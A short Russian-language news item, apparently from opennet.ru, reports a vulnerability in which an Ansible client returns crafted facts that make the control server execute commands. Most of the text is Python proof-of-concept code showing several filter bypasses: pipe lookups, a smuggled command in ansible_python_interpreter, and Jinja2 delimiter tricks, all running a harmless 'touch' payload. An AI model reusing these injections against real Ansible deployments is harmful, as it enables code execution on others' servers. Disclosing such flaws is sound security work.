Серьёзная уязвимость в системе управления конфигурацией Ansible
Уязвимость связана с возможностью указания в числе возвращаемых клиентом атрибутов (Facts) операции lookup, позволяющей организовать выполнение кода, а также специальных атрибутов ansible_python_interpreter и ansible_connection, через которых можно передать код на языке Python и ссылку на хост для его выполнения. Атрибуты возвращаются клиентом в ответ на запрос от сервера и оформляются в формате JSON. Ansible пытается фильтровать опасные атрибуты, но исследователи нашли как минимум шесть способов для обхода имеющихся фильтров:
PAYLOAD = "touch /tmp/foobarbaz" LOOKUP = "lookup('pipe', '%s')" % PAYLOAD INTERPRETER_FACTS = { 'ansible_python_interpreter': '%s; cat > /dev/null; echo {}' % PAYLOAD, 'ansible_connection': 'local', 'ansible_become': False, }
data['add_host'] = { 'host_name': socket.gethostname(), 'host_vars': INTERPRETER_FACTS, }
known_conditionals_str = """ ansible_os_family == 'Debian' ansible_os_family == "Debian" ansible_os_family == 'RedHat' ansible_os_family == "RedHat" ansible_distribution == "CentOS" result|failed item > 5 foo is defined """ known_conditionals = [x.strip() for x in known_conditionals_str.split('\n')] for known_conditional in known_conditionals: data['ansible_facts'][known_conditional] = LOOKUP
data.update({ 'stat': { 'exists': True, 'isdir': False, 'checksum': { 'rc': 0, 'ansible_facts': INTERPRETER_FACTS, }, } })
data['ansible_facts'].update({ 'exploit_set_fact': True, 'ansible_os_family': "#jinja2:variable_start_string:'[[',variable_end_string:']]',block_start_string:'[%',block_end_string:'%]'\n{{}}\n[[ansible_host]][[lookup('pipe','"+PAYLOAD+"')]]", })
data['ansible_facts'].update({ 'exploit_set_fact': True, 'ansible_os_family': { "{{ %s }}" % LOOKUP: ''}, })
data['ansible_facts'].update({ 'exploit_set_fact': True, 'ansible_os_family': """[ '{'*2 + "%s" + '}'*2 ]""" % LOOKUP, })
Источник: http://www.opennet.ru/opennews/art.shtml?num=45842
|
0 | Tweet | Нравится |
|